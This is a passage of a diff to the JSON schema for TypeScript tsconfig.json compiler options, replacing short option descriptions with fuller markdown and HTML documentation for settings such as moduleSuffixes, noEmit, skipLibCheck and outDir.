+              "x-intellij-html-description": "<p>Specify the module resolution strategy:</p>\n<ul>\n<li><code>&#39;node16&#39;</code> or <code>&#39;nodenext&#39;</code> for modern versions of Node.js. Node.js v12 and later supports both ECMAScript imports and CommonJS <code>require</code>, which resolve using different algorithms. These <code>moduleResolution</code> values, when combined with the corresponding <a href=\"https://typescriptlang.org/tsconfig/#module\"><code>module</code></a> values, picks the right algorithm for each resolution based on whether Node.js will see an <code>import</code> or <code>require</code> in the output JavaScript code.</li>\n<li><code>&#39;node10&#39;</code> (previously called <code>&#39;node&#39;</code>) for Node.js versions older than v10, which only support CommonJS <code>require</code>. You probably won&#39;t need to use <code>node10</code> in modern code.</li>\n<li><code>&#39;bundler&#39;</code> for use with bundlers. Like <code>node16</code> and <code>nodenext</code>, this mode supports package.json <code>&quot;imports&quot;</code> and <code>&quot;exports&quot;</code>, but unlike the Node.js resolution modes, <code>bundler</code> never requires file extensions on relative paths in imports.</li>\n<li><code>&#39;classic&#39;</code> was used in TypeScript before the release of 1.6. <code>classic</code> should not be used.</li>\n</ul>\n<p>There are reference pages explaining the <a href=\"https://www.typescriptlang.org/docs/handbook/modules/theory.html#module-resolution\">theory behind TypeScript’s module resolution</a> and the <a href=\"https://typescriptlang.org/docs/handbook/modules/reference.html#the-moduleresolution-compiler-option\">details of each option</a>.</p>\n"
+            },
+            "moduleSuffixes": {
+              "description": "Provides a way to override the default list of file name suffixes to search when resolving a module.\n\n```json tsconfig\n{\n    \"compilerOptions\": {\n        \"moduleSuffixes\": [\".ios\", \".native\", \"\"]\n    }\n}\n```\n\nGiven the above configuration, an import like the following:\n\n```ts\nimport * as foo from \"./foo\";\n```\n\nTypeScript will look for the relative files `./foo.ios.ts`, `./foo.native.ts`, and finally `./foo.ts`.\n\nNote the empty string `\"\"` in [`moduleSuffixes`](https://typescriptlang.org/tsconfig/#moduleSuffixes) which is necessary for TypeScript to also look-up `./foo.ts`.\n\nThis feature can be useful for React Native projects where each target platform can use a separate tsconfig.json with differing `moduleSuffixes`.",
+              "type": ["array", "null"],
+              "uniqueItems": true,
+              "items": {
+                "type": "string"
+              },
+              "markdownDescription": "Provides a way to override the default list of file name suffixes to search when resolving a module.\n\n```json tsconfig\n{\n    \"compilerOptions\": {\n        \"moduleSuffixes\": [\".ios\", \".native\", \"\"]\n    }\n}\n```\n\nGiven the above configuration, an import like the following:\n\n```ts\nimport * as foo from \"./foo\";\n```\n\nTypeScript will look for the relative files `./foo.ios.ts`, `./foo.native.ts`, and finally `./foo.ts`.\n\nNote the empty string `\"\"` in [`moduleSuffixes`](https://typescriptlang.org/tsconfig/#moduleSuffixes) which is necessary for TypeScript to also look-up `./foo.ts`.\n\nThis feature can be useful for React Native projects where each target platform can use a separate tsconfig.json with differing `moduleSuffixes`.",
+              "x-intellij-html-description": "<p>Provides a way to override the default list of file name suffixes to search when resolving a module.</p>\n<pre><code class=\"language-json\">{\n    &quot;compilerOptions&quot;: {\n        &quot;moduleSuffixes&quot;: [&quot;.ios&quot;, &quot;.native&quot;, &quot;&quot;]\n    }\n}\n</code></pre>\n<p>Given the above configuration, an import like the following:</p>\n<pre><code class=\"language-ts\">import * as foo from &quot;./foo&quot;;\n</code></pre>\n<p>TypeScript will look for the relative files <code>./foo.ios.ts</code>, <code>./foo.native.ts</code>, and finally <code>./foo.ts</code>.</p>\n<p>Note the empty string <code>&quot;&quot;</code> in <a href=\"https://typescriptlang.org/tsconfig/#moduleSuffixes\"><code>moduleSuffixes</code></a> which is necessary for TypeScript to also look-up <code>./foo.ts</code>.</p>\n<p>This feature can be useful for React Native projects where each target platform can use a separate tsconfig.json with differing <code>moduleSuffixes</code>.</p>\n"
             },
             "newLine": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Set the newline character for emitting files.",
+              "description": "Specify the end of line sequence to be used when emitting files: 'CRLF' (dos) or 'LF' (unix).",
               "type": ["string", "null"],
               "default": "lf",
               "anyOf": [
@@ -461,225 +482,239 @@
                   "pattern": "^(CRLF|LF|crlf|lf)$"
                 }
               ],
-              "markdownDescription": "Set the newline character for emitting files.\n\nSee more: https://www.typescriptlang.org/tsconfig#newLine"
+              "markdownDescription": "Specify the end of line sequence to be used when emitting files: 'CRLF' (dos) or 'LF' (unix).",
+              "x-intellij-html-description": "<p>Specify the end of line sequence to be used when emitting files: &#39;CRLF&#39; (dos) or &#39;LF&#39; (unix).</p>\n"
             },
             "noEmit": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable emitting file from a compilation.",
+              "description": "Do not emit compiler output files like JavaScript source code, source-maps or declarations.\n\nThis makes room for another tool like [Babel](https://babeljs.io/), or [swc](https://github.com/swc-project/swc) to handle converting the TypeScript file to a file which can run inside a JavaScript environment.\n\nYou can then use TypeScript as a tool for providing editor integration, and as a source code type-checker.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable emitting file from a compilation.\n\nSee more: https://www.typescriptlang.org/tsconfig#noEmit"
+              "markdownDescription": "Do not emit compiler output files like JavaScript source code, source-maps or declarations.\n\nThis makes room for another tool like [Babel](https://babeljs.io/), or [swc](https://github.com/swc-project/swc) to handle converting the TypeScript file to a file which can run inside a JavaScript environment.\n\nYou can then use TypeScript as a tool for providing editor integration, and as a source code type-checker.",
+              "x-intellij-html-description": "<p>Do not emit compiler output files like JavaScript source code, source-maps or declarations.</p>\n<p>This makes room for another tool like <a href=\"https://babeljs.io/\">Babel</a>, or <a href=\"https://github.com/swc-project/swc\">swc</a> to handle converting the TypeScript file to a file which can run inside a JavaScript environment.</p>\n<p>You can then use TypeScript as a tool for providing editor integration, and as a source code type-checker.</p>\n"
             },
             "noEmitHelpers": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable generating custom helper functions like `__extends` in compiled output.",
+              "description": "Instead of importing helpers with [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers), you can provide implementations in the global scope for the helpers you use and completely turn off emitting of helper functions.\n\nFor example, using this `async` function in ES5 requires a `await`-like function and `generator`-like function to run:\n\n```ts twoslash\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```\n\nWhich creates quite a lot of JavaScript:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```\n\nWhich can be switched out with your own globals via this flag:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @noEmitHelpers\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable generating custom helper functions like `__extends` in compiled output.\n\nSee more: https://www.typescriptlang.org/tsconfig#noEmitHelpers"
+              "markdownDescription": "Instead of importing helpers with [`importHelpers`](https://typescriptlang.org/tsconfig/#importHelpers), you can provide implementations in the global scope for the helpers you use and completely turn off emitting of helper functions.\n\nFor example, using this `async` function in ES5 requires a `await`-like function and `generator`-like function to run:\n\n```ts twoslash\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```\n\nWhich creates quite a lot of JavaScript:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```\n\nWhich can be switched out with your own globals via this flag:\n\n```ts twoslash\n// @showEmit\n// @target: ES5\n// @noEmitHelpers\nconst getAPI = async (url: string) => {\n  // Get API\n  return {};\n};\n```",
+              "x-intellij-html-description": "<p>Instead of importing helpers with <a href=\"https://typescriptlang.org/tsconfig/#importHelpers\"><code>importHelpers</code></a>, you can provide implementations in the global scope for the helpers you use and completely turn off emitting of helper functions.</p>\n<p>For example, using this <code>async</code> function in ES5 requires a <code>await</code>-like function and <code>generator</code>-like function to run:</p>\n<pre><code class=\"language-ts\">const getAPI = async (url: string) =&gt; {\n  // Get API\n  return {};\n};\n</code></pre>\n<p>Which creates quite a lot of JavaScript:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @target: ES5\nconst getAPI = async (url: string) =&gt; {\n  // Get API\n  return {};\n};\n</code></pre>\n<p>Which can be switched out with your own globals via this flag:</p>\n<pre><code class=\"language-ts\">// @showEmit\n// @target: ES5\n// @noEmitHelpers\nconst getAPI = async (url: string) =&gt; {\n  // Get API\n  return {};\n};\n</code></pre>\n"
             },
             "noEmitOnError": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable emitting files if any type checking errors are reported.",
+              "description": "Do not emit compiler output files like JavaScript source code, source-maps or declarations if any errors were reported.\n\nThis defaults to `false`, making it easier to work with TypeScript in a watch-like environment where you may want to see results of changes to your code in another environment before making sure all errors are resolved.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable emitting files if any type checking errors are reported.\n\nSee more: https://www.typescriptlang.org/tsconfig#noEmitOnError"
+              "markdownDescription": "Do not emit compiler output files like JavaScript source code, source-maps or declarations if any errors were reported.\n\nThis defaults to `false`, making it easier to work with TypeScript in a watch-like environment where you may want to see results of changes to your code in another environment before making sure all errors are resolved.",
+              "x-intellij-html-description": "<p>Do not emit compiler output files like JavaScript source code, source-maps or declarations if any errors were reported.</p>\n<p>This defaults to <code>false</code>, making it easier to work with TypeScript in a watch-like environment where you may want to see results of changes to your code in another environment before making sure all errors are resolved.</p>\n"
             },
             "noImplicitAny": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting for expressions and declarations with an implied `any` type..",
+              "description": "In some cases where no type annotations are present, TypeScript will fall back to a type of `any` for a variable when it cannot infer the type.\n\nThis can cause some errors to be missed, for example:\n\n```ts twoslash\n// @noImplicitAny: false\nfunction fn(s) {\n  // No error?\n  console.log(s.subtr(3));\n}\nfn(42);\n```\n\nTurning on `noImplicitAny` however TypeScript will issue an error whenever it would have inferred `any`:\n\n```ts twoslash\n// @errors: 7006\nfunction fn(s) {\n  console.log(s.subtr(3));\n}\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Enable error reporting for expressions and declarations with an implied `any` type..\n\nSee more: https://www.typescriptlang.org/tsconfig#noImplicitAny"
+              "markdownDescription": "In some cases where no type annotations are present, TypeScript will fall back to a type of `any` for a variable when it cannot infer the type.\n\nThis can cause some errors to be missed, for example:\n\n```ts twoslash\n// @noImplicitAny: false\nfunction fn(s) {\n  // No error?\n  console.log(s.subtr(3));\n}\nfn(42);\n```\n\nTurning on `noImplicitAny` however TypeScript will issue an error whenever it would have inferred `any`:\n\n```ts twoslash\n// @errors: 7006\nfunction fn(s) {\n  console.log(s.subtr(3));\n}\n```",
+              "x-intellij-html-description": "<p>In some cases where no type annotations are present, TypeScript will fall back to a type of <code>any</code> for a variable when it cannot infer the type.</p>\n<p>This can cause some errors to be missed, for example:</p>\n<pre><code class=\"language-ts\">// @noImplicitAny: false\nfunction fn(s) {\n  // No error?\n  console.log(s.subtr(3));\n}\nfn(42);\n</code></pre>\n<p>Turning on <code>noImplicitAny</code> however TypeScript will issue an error whenever it would have inferred <code>any</code>:</p>\n<pre><code class=\"language-ts\">// @errors: 7006\nfunction fn(s) {\n  console.log(s.subtr(3));\n}\n</code></pre>\n"
             },
             "noImplicitThis": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting when `this` is given the type `any`.",
+              "description": "Raise error on 'this' expressions with an implied 'any' type.\n\nFor example, the class below returns a function which tries to access `this.width` and `this.height` – but the context\nfor `this` inside the function inside `getAreaFunction` is not the instance of the Rectangle.\n\n```ts twoslash\n// @errors: 2683\nclass Rectangle {\n  width: number;\n  height: number;\n\n  constructor(width: number, height: number) {\n    this.width = width;\n    this.height = height;\n  }\n\n  getAreaFunction() {\n    return function () {\n      return this.width * this.height;\n    };\n  }\n}\n```",
               "type": ["boolean", "null"],
-              "markdownDescription": "Enable error reporting when `this` is given the type `any`.\n\nSee more: https://www.typescriptlang.org/tsconfig#noImplicitThis"
+              "markdownDescription": "Raise error on 'this' expressions with an implied 'any' type.\n\nFor example, the class below returns a function which tries to access `this.width` and `this.height` – but the context\nfor `this` inside the function inside `getAreaFunction` is not the instance of the Rectangle.\n\n```ts twoslash\n// @errors: 2683\nclass Rectangle {\n  width: number;\n  height: number;\n\n  constructor(width: number, height: number) {\n    this.width = width;\n    this.height = height;\n  }\n\n  getAreaFunction() {\n    return function () {\n      return this.width * this.height;\n    };\n  }\n}\n```",
+              "x-intellij-html-description": "<p>Raise error on &#39;this&#39; expressions with an implied &#39;any&#39; type.</p>\n<p>For example, the class below returns a function which tries to access <code>this.width</code> and <code>this.height</code> – but the context\nfor <code>this</code> inside the function inside <code>getAreaFunction</code> is not the instance of the Rectangle.</p>\n<pre><code class=\"language-ts\">// @errors: 2683\nclass Rectangle {\n  width: number;\n  height: number;\n\n  constructor(width: number, height: number) {\n    this.width = width;\n    this.height = height;\n  }\n\n  getAreaFunction() {\n    return function () {\n      return this.width * this.height;\n    };\n  }\n}\n</code></pre>\n"
             },
             "noUnusedLocals": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable error reporting when a local variable isn't read.",
+              "description": "Report errors on unused local variables.\n\n```ts twoslash\n// @noUnusedLocals\n// @errors: 6133\nconst createKeyboard = (modelID: number) => {\n  const defaultModelID = 23;\n  return { type: \"keyboard\", modelID };\n};\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Enable error reporting when a local variable isn't read.\n\nSee more: https://www.typescriptlang.org/tsconfig#noUnusedLocals"
+              "markdownDescription": "Report errors on unused local variables.\n\n```ts twoslash\n// @noUnusedLocals\n// @errors: 6133\nconst createKeyboard = (modelID: number) => {\n  const defaultModelID = 23;\n  return { type: \"keyboard\", modelID };\n};\n```",
+              "x-intellij-html-description": "<p>Report errors on unused local variables.</p>\n<pre><code class=\"language-ts\">// @noUnusedLocals\n// @errors: 6133\nconst createKeyboard = (modelID: number) =&gt; {\n  const defaultModelID = 23;\n  return { type: &quot;keyboard&quot;, modelID };\n};\n</code></pre>\n"
             },
             "noUnusedParameters": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Raise an error when a function parameter isn't read",
+              "description": "Report errors on unused parameters in functions.\n\n```ts twoslash\n// @noUnusedParameters\n// @errors: 6133\nconst createDefaultKeyboard = (modelID: number) => {\n  const defaultModelID = 23;\n  return { type: \"keyboard\", modelID: defaultModelID };\n};\n```\n\nParameters declaration with names starting with an underscore (`_`) are exempt from the unused parameter checking. e.g.:\n\n```ts twoslash\n// @noUnusedParameters\nconst createDefaultKeyboard = (_modelID: number) => {\n  return { type: \"keyboard\" };\n};\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Raise an error when a function parameter isn't read\n\nSee more: https://www.typescriptlang.org/tsconfig#noUnusedParameters"
+              "markdownDescription": "Report errors on unused parameters in functions.\n\n```ts twoslash\n// @noUnusedParameters\n// @errors: 6133\nconst createDefaultKeyboard = (modelID: number) => {\n  const defaultModelID = 23;\n  return { type: \"keyboard\", modelID: defaultModelID };\n};\n```\n\nParameters declaration with names starting with an underscore (`_`) are exempt from the unused parameter checking. e.g.:\n\n```ts twoslash\n// @noUnusedParameters\nconst createDefaultKeyboard = (_modelID: number) => {\n  return { type: \"keyboard\" };\n};\n```",
+              "x-intellij-html-description": "<p>Report errors on unused parameters in functions.</p>\n<pre><code class=\"language-ts\">// @noUnusedParameters\n// @errors: 6133\nconst createDefaultKeyboard = (modelID: number) =&gt; {\n  const defaultModelID = 23;\n  return { type: &quot;keyboard&quot;, modelID: defaultModelID };\n};\n</code></pre>\n<p>Parameters declaration with names starting with an underscore (<code>_</code>) are exempt from the unused parameter checking. e.g.:</p>\n<pre><code class=\"language-ts\">// @noUnusedParameters\nconst createDefaultKeyboard = (_modelID: number) =&gt; {\n  return { type: &quot;keyboard&quot; };\n};\n</code></pre>\n"
             },
             "noLib": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable including any library files, including the default lib.d.ts.",
+              "description": "Disables the automatic inclusion of any library files.\nIf this option is set, `lib` is ignored.\n\nTypeScript _cannot_ compile anything without a set of interfaces for key primitives like: `Array`, `Boolean`, `Function`, `IArguments`, `Number`, `Object`, `RegExp`, and `String`. It is expected that if you use `noLib` you will be including your own type definitions for these.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable including any library files, including the default lib.d.ts.\n\nSee more: https://www.typescriptlang.org/tsconfig#noLib"
+              "markdownDescription": "Disables the automatic inclusion of any library files.\nIf this option is set, `lib` is ignored.\n\nTypeScript _cannot_ compile anything without a set of interfaces for key primitives like: `Array`, `Boolean`, `Function`, `IArguments`, `Number`, `Object`, `RegExp`, and `String`. It is expected that if you use `noLib` you will be including your own type definitions for these.",
+              "x-intellij-html-description": "<p>Disables the automatic inclusion of any library files.\nIf this option is set, <code>lib</code> is ignored.</p>\n<p>TypeScript <em>cannot</em> compile anything without a set of interfaces for key primitives like: <code>Array</code>, <code>Boolean</code>, <code>Function</code>, <code>IArguments</code>, <code>Number</code>, <code>Object</code>, <code>RegExp</code>, and <code>String</code>. It is expected that if you use <code>noLib</code> you will be including your own type definitions for these.</p>\n"
             },
             "noResolve": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disallow `import`s, `require`s or `<reference>`s from expanding the number of files TypeScript should add to a project.",
+              "description": "By default, TypeScript will examine the initial set of files for `import` and `<reference` directives and add these resolved files to your program.\n\nIf `noResolve` is set, this process doesn't happen.\nHowever, `import` statements are still checked to see if they resolve to a valid module, so you'll need to make sure this is satisfied by some other means.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disallow `import`s, `require`s or `<reference>`s from expanding the number of files TypeScript should add to a project.\n\nSee more: https://www.typescriptlang.org/tsconfig#noResolve"
+              "markdownDescription": "By default, TypeScript will examine the initial set of files for `import` and `<reference` directives and add these resolved files to your program.\n\nIf `noResolve` is set, this process doesn't happen.\nHowever, `import` statements are still checked to see if they resolve to a valid module, so you'll need to make sure this is satisfied by some other means.",
+              "x-intellij-html-description": "<p>By default, TypeScript will examine the initial set of files for <code>import</code> and <code>&lt;reference</code> directives and add these resolved files to your program.</p>\n<p>If <code>noResolve</code> is set, this process doesn&#39;t happen.\nHowever, <code>import</code> statements are still checked to see if they resolve to a valid module, so you&#39;ll need to make sure this is satisfied by some other means.</p>\n"
             },
             "noStrictGenericChecks": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable strict checking of generic signatures in function types.",
+              "description": "TypeScript will unify type parameters when comparing two generic functions.\n\n```ts twoslash\n// @errors: 2322\n\ntype A = <T, U>(x: T, y: U) => [T, U];\ntype B = <S>(x: S, y: S) => [S, S];\n\nfunction f(a: A, b: B) {\n  b = a; // Ok\n  a = b; // Error\n}\n```\n\nThis flag can be used to remove that check.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Disable strict checking of generic signatures in function types.\n\nSee more: https://www.typescriptlang.org/tsconfig#noStrictGenericChecks"
+              "markdownDescription": "TypeScript will unify type parameters when comparing two generic functions.\n\n```ts twoslash\n// @errors: 2322\n\ntype A = <T, U>(x: T, y: U) => [T, U];\ntype B = <S>(x: S, y: S) => [S, S];\n\nfunction f(a: A, b: B) {\n  b = a; // Ok\n  a = b; // Error\n}\n```\n\nThis flag can be used to remove that check.",
+              "x-intellij-html-description": "<p>TypeScript will unify type parameters when comparing two generic functions.</p>\n<pre><code class=\"language-ts\">// @errors: 2322\n\ntype A = &lt;T, U&gt;(x: T, y: U) =&gt; [T, U];\ntype B = &lt;S&gt;(x: S, y: S) =&gt; [S, S];\n\nfunction f(a: A, b: B) {\n  b = a; // Ok\n  a = b; // Error\n}\n</code></pre>\n<p>This flag can be used to remove that check.</p>\n"
+            },
+            "out": {
+              "description": "Deprecated setting. Use `outFile` instead.",
+              "type": ["string", "null"],
+              "markdownDescription": "Deprecated setting. Use `outFile` instead.\n\nSee more: https://www.typescriptlang.org/tsconfig#out"
             },
             "skipDefaultLibCheck": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Skip type checking .d.ts files that are included with TypeScript.",
+              "description": "Use [`skipLibCheck`](https://typescriptlang.org/tsconfig/#skipLibCheck) instead. Skip type checking of default library declaration files.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Skip type checking .d.ts files that are included with TypeScript.\n\nSee more: https://www.typescriptlang.org/tsconfig#skipDefaultLibCheck"
+              "markdownDescription": "Use [`skipLibCheck`](https://typescriptlang.org/tsconfig/#skipLibCheck) instead. Skip type checking of default library declaration files.",
+              "x-intellij-html-description": "<p>Use <a href=\"https://typescriptlang.org/tsconfig/#skipLibCheck\"><code>skipLibCheck</code></a> instead. Skip type checking of default library declaration files.</p>\n"
             },
             "skipLibCheck": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Skip type checking all .d.ts files.",
+              "description": "Skip type checking of declaration files.\n\nThis can save time during compilation at the expense of type-system accuracy. For example, two libraries could\ndefine two copies of the same `type` in an inconsistent way. Rather than doing a full check of all `d.ts` files, TypeScript\nwill type check the code you specifically refer to in your app's source code.\n\nA common case where you might think to use `skipLibCheck` is when there are two copies of a library's types in\nyour `node_modules`. In these cases, you should consider using a feature like [yarn's resolutions](https://yarnpkg.com/lang/en/docs/selective-version-resolutions/)\nto ensure there is only one copy of that dependency in your tree or investigate how to ensure there is\nonly one copy by understanding the dependency resolution to fix the issue without additional tooling.\n\nAnother possibility is when you are migrating between TypeScript releases and the changes cause breakages in node_modules and the JS standard libraries which you do not want to deal with during the TypeScript update. \n\nNote, that if these issues come from the TypeScript standard library you can replace the library using [TypeScript 4.5's lib replacement](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-5.html#supporting-lib-from-node_modules) technique.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Skip type checking all .d.ts files.\n\nSee more: https://www.typescriptlang.org/tsconfig#skipLibCheck"
+              "markdownDescription": "Skip type checking of declaration files.\n\nThis can save time during compilation at the expense of type-system accuracy. For example, two libraries could\ndefine two copies of the same `type` in an inconsistent way. Rather than doing a full check of all `d.ts` files, TypeScript\nwill type check the code you specifically refer to in your app's source code.\n\nA common case where you might think to use `skipLibCheck` is when there are two copies of a library's types in\nyour `node_modules`. In these cases, you should consider using a feature like [yarn's resolutions](https://yarnpkg.com/lang/en/docs/selective-version-resolutions/)\nto ensure there is only one copy of that dependency in your tree or investigate how to ensure there is\nonly one copy by understanding the dependency resolution to fix the issue without additional tooling.\n\nAnother possibility is when you are migrating between TypeScript releases and the changes cause breakages in node_modules and the JS standard libraries which you do not want to deal with during the TypeScript update. \n\nNote, that if these issues come from the TypeScript standard library you can replace the library using [TypeScript 4.5's lib replacement](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-5.html#supporting-lib-from-node_modules) technique.",
+              "x-intellij-html-description": "<p>Skip type checking of declaration files.</p>\n<p>This can save time during compilation at the expense of type-system accuracy. For example, two libraries could\ndefine two copies of the same <code>type</code> in an inconsistent way. Rather than doing a full check of all <code>d.ts</code> files, TypeScript\nwill type check the code you specifically refer to in your app&#39;s source code.</p>\n<p>A common case where you might think to use <code>skipLibCheck</code> is when there are two copies of a library&#39;s types in\nyour <code>node_modules</code>. In these cases, you should consider using a feature like <a href=\"https://yarnpkg.com/lang/en/docs/selective-version-resolutions/\">yarn&#39;s resolutions</a>\nto ensure there is only one copy of that dependency in your tree or investigate how to ensure there is\nonly one copy by understanding the dependency resolution to fix the issue without additional tooling.</p>\n<p>Another possibility is when you are migrating between TypeScript releases and the changes cause breakages in node_modules and the JS standard libraries which you do not want to deal with during the TypeScript update. </p>\n<p>Note, that if these issues come from the TypeScript standard library you can replace the library using <a href=\"https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-5.html#supporting-lib-from-node_modules\">TypeScript 4.5&#39;s lib replacement</a> technique.</p>\n"
             },
             "outFile": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify a file that bundles all outputs into one JavaScript file. If `declaration` is true, also designates a file that bundles all .d.ts output.",
+              "description": "If specified, all _global_ (non-module) files will be concatenated into the single output file specified.\n\nIf `module` is `system` or `amd`, all module files will also be concatenated into this file after all global content.\n\nNote: `outFile` cannot be used unless `module` is `None`, `System`, or `AMD`.\nThis option _cannot_ be used to bundle CommonJS or ES6 modules.",
               "type": ["string", "null"],
-              "markdownDescription": "Specify a file that bundles all outputs into one JavaScript file. If `declaration` is true, also designates a file that bundles all .d.ts output.\n\nSee more: https://www.typescriptlang.org/tsconfig#outFile"
+              "markdownDescription": "If specified, all _global_ (non-module) files will be concatenated into the single output file specified.\n\nIf `module` is `system` or `amd`, all module files will also be concatenated into this file after all global content.\n\nNote: `outFile` cannot be used unless `module` is `None`, `System`, or `AMD`.\nThis option _cannot_ be used to bundle CommonJS or ES6 modules.",
+              "x-intellij-html-description": "<p>If specified, all <em>global</em> (non-module) files will be concatenated into the single output file specified.</p>\n<p>If <code>module</code> is <code>system</code> or <code>amd</code>, all module files will also be concatenated into this file after all global content.</p>\n<p>Note: <code>outFile</code> cannot be used unless <code>module</code> is <code>None</code>, <code>System</code>, or <code>AMD</code>.\nThis option <em>cannot</em> be used to bundle CommonJS or ES6 modules.</p>\n"
             },
             "outDir": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify an output folder for all emitted files.",
+              "description": "If specified, `.js` (as well as `.d.ts`, `.js.map`, etc.) files will be emitted into this directory.\nThe directory structure of the original source files is preserved; see [`rootDir`](https://typescriptlang.org/tsconfig/#rootDir) if the computed root is not what you intended.\n\nIf not specified, `.js` files will be emitted in the same directory as the `.ts` files they were generated from:\n\n```sh\n$ tsc\n\nexample\n├── index.js\n└── index.ts\n```\n\nWith a `tsconfig.json` like this:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"outDir\": \"dist\"\n  }\n}\n```\n\nRunning `tsc` with these settings moves the files into the specified `dist` folder:\n\n```sh\n$ tsc\n\nexample\n├── dist\n│   └── index.js\n├── index.ts\n└── tsconfig.json\n```",
               "type": ["string", "null"],
-              "markdownDescription": "Specify an output folder for all emitted files.\n\nSee more: https://www.typescriptlang.org/tsconfig#outDir"
+              "markdownDescription": "If specified, `.js` (as well as `.d.ts`, `.js.map`, etc.) files will be emitted into this directory.\nThe directory structure of the original source files is preserved; see [`rootDir`](https://typescriptlang.org/tsconfig/#rootDir) if the computed root is not what you intended.\n\nIf not specified, `.js` files will be emitted in the same directory as the `.ts` files they were generated from:\n\n```sh\n$ tsc\n\nexample\n├── index.js\n└── index.ts\n```\n\nWith a `tsconfig.json` like this:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"outDir\": \"dist\"\n  }\n}\n```\n\nRunning `tsc` with these settings moves the files into the specified `dist` folder:\n\n```sh\n$ tsc\n\nexample\n├── dist\n│   └── index.js\n├── index.ts\n└── tsconfig.json\n```",
+              "x-intellij-html-description": "<p>If specified, <code>.js</code> (as well as <code>.d.ts</code>, <code>.js.map</code>, etc.) files will be emitted into this directory.\nThe directory structure of the original source files is preserved; see <a href=\"https://typescriptlang.org/tsconfig/#rootDir\"><code>rootDir</code></a> if the computed root is not what you intended.</p>\n<p>If not specified, <code>.js</code> files will be emitted in the same directory as the <code>.ts</code> files they were generated from:</p>\n<pre><code class=\"language-sh\">$ tsc\n\nexample\n├── index.js\n└── index.ts\n</code></pre>\n<p>With a <code>tsconfig.json</code> like this:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;outDir&quot;: &quot;dist&quot;\n  }\n}\n</code></pre>\n<p>Running <code>tsc</code> with these settings moves the files into the specified <code>dist</code> folder:</p>\n<pre><code class=\"language-sh\">$ tsc\n\nexample\n├── dist\n│   └── index.js\n├── index.ts\n└── tsconfig.json\n</code></pre>\n"
             },
             "preserveConstEnums": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Disable erasing `const enum` declarations in generated code.",
